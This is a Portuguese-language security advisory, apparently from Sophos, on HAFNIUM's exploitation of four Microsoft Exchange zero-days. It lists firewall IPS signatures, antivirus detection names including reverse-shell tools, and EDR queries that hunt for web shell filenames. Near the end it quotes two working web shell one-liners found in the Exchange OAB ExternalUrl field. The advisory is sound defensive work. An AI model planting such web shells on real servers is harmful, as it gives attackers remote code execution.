HAFNIUM, um ator de ameaça que se acredita ser um estado-nação, está explorando ativamente quatro novas vulnerabilidades de dia zero que afetam o Microsoft Exchange.
Qualquer pessoa que execute servidores Exchange localmente deve corrigir e verificar imediatamente suas redes em busca de indicadores de ataque.
Proteções Sophos contra HAFNIUM
Os clientes da Sophos MTR, rede e segurança de endpoint se beneficiam de múltiplas proteções contra a exploração de novas vulnerabilidades.
Sophos MTR
A equipe Sophos MTR tem monitorado os ambientes de nossos clientes para comportamentos associados a essas vulnerabilidades desde o seu anúncio. Se identificarmos qualquer atividade maliciosa relacionada a essas vulnerabilidades, criaremos um caso e entraremos em contato com você diretamente.
Sophos Firewall
A SophosLabs lançou assinaturas IPS para clientes que executam SFOS e XFOS:
CVE | SID |
CVE-2021-26855 | 57241, 57242, 57243, 57244, 2305106, 2305107 |
CVE-2021-26857 | 57233, 57234 |
CVE-2021-26858 | 57245, 57246 |
CVE-2021-27065 | 57245, 57246 |
Se você vir esses nomes de descoberta em suas redes, será necessário fazer mais pesquisas e corrigi-los.
Sophos Intercept X Advanced e Sophos Antivirus (SAV)
Os clientes podem monitorar as seguintes assinaturas de AV para identificar possíveis ataques HAFNIUM:
Relacionado ao shell da web
- Troj/WebShel-L
- Troj/WebShel-M
- Troj/WebShel-N
- Troj/ASPDoor-T
- Troj/AspScChk-A
Utros payloads
- ATK/Pivot-B
- AMSI/PowerCat-A (Powercat)
- AMSI/PSRev-A (Invoke-PowerShellTcpOneLine reverse shell)
Devido à natureza dinâmica das caixas de teia, as caixas são travadas, mas devem ser removidas manualmente. Se você vir esses nomes de descoberta em suas redes, será necessário fazer mais pesquisas e corrigi-los.
Também bloqueamos os destinos C2 IP relevantes, onde era seguro fazê-lo.
Além disso, os estágios “lsass dump” do ataque são bloqueados pela proteção de credencial (CredGuard) incluída em todas as assinaturas do Intercept X Advanced.
Sophos EDR
Os clientes do Sophos EDR podem tirar proveito de consultas pré-preparadas para identificar potenciais shells da web para investigação:
/* Query for known web shell names */ SELECT datetime(btime,'unixepoch') AS created_time, filename, directory, size AS fileSize, datetime(atime, 'unixepoch') AS access_time, datetime(mtime, 'unixepoch') AS modified_time FROM file WHERE (path LIKE 'C:\inetpub\wwwroot\aspnet_client\%' OR path LIKE 'C:\inetpub\wwwroot\aspnet_client\system_web\%' OR path LIKE 'C:\Program Files\Microsoft\Exchange Server\V15\FrontEnd\HttpProxy\owa\auth\%') AND filename IN ('web.aspx','help.aspx','document.aspx','errorEE.aspx','errorEEE.aspx','errorEW.aspx','errorFF.aspx','web.aspx','healthcheck.aspx','aspnet_www.aspx','aspnet_client.aspx','xx.aspx','shell.aspx','aspnet_iisstart.aspx','one.aspx','errorcheck.aspx','t.aspx','discover.aspx','aspnettest.aspx','error.aspx','RedirSuiteServerProxy.aspx','shellex.aspx','supp0rt.aspx','HttpProxy.aspx','system_web.aspx','OutlookEN.aspx','TimeoutLogout.aspx','Logout.aspx','OutlookJP.aspx','MultiUp.aspx','OutlookRU.aspx');
/* Query for web shells with randomized 8 character names */ SELECT datetime(btime,'unixepoch') AS created_time, regex_match(filename, '[0-9a-zA-Z]{8}.aspx', 0) AS filename, directory, size AS fileSize, datetime(atime, 'unixepoch') AS access_time, datetime(mtime, 'unixepoch') AS modified_time FROM file WHERE (path LIKE 'C:\inetpub\wwwroot\aspnet_client\%' OR path LIKE 'C:\inetpub\wwwroot\aspnet_client\system_web\%' OR path LIKE 'C:\Program Files\Microsoft\Exchange Server\V15\FrontEnd\HttpProxy\owa\auth\%');
Ao revisar os shells da web em potencial identificados pelas consultas, o shell da web normalmente aparecerá em um arquivo de configuração do catálogo de endereços offline (OAB) do Exchange, no campo ExternalUrl. E.g.
ExternalUrl : http://f/<script language=”JScript” runat=”server”>function Page_Load(){eval(Request[“key-here”],”unsafe”);}</script>
ExternalUrl: http://g/<script Language=”c#” runat=”server”>void Page_Load(object sender, EventArgs e){if (Request.Files.Count!=0) { Request.Files[0].SaveAs(Server.MapPath(“error.aspx”));}}</script>
Identifique sinais de compromisso
A equipe MTR da Sophos publicou um guia passo a passo sobre como pesquisar sua rede em busca de sinais de comprometimento.